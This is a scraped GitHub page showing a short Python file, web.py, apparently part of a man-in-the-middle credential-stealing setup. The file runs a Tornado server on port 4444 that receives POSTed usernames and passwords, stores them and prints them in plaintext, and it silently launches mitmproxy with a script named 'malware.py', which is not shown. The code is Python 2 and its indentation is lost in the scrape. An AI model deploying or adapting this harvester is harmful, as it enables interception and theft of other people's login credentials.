-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathweb.py
33 lines (27 loc) · 890 Bytes
/
web.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import os
import threading
import subprocess
from tornado import web, ioloop
users = {}
class HomeHandler(web.RequestHandler):
def post(self):
self.content_type = 'application/json'
username = self.get_argument('username', '')
password = self.get_argument('password', '')
if username in users:
return
users[username] = password
print "Username: ", username , " Password: ", password
self.write({"stat": 'Success'})
application = web.Application([
(r'/', HomeHandler),
], **{})
class ProxyThread(threading.Thread):
def run ( self ):
args = ["mitmproxy", '-s', 'malware.py']
subprocess.call(args, stdout = open(os.devnull, "w"), stderr=subprocess.STDOUT)
if __name__ == "__main__":
port = 4444
application.listen(port)
ProxyThread().start()
ioloop.IOLoop.instance().start()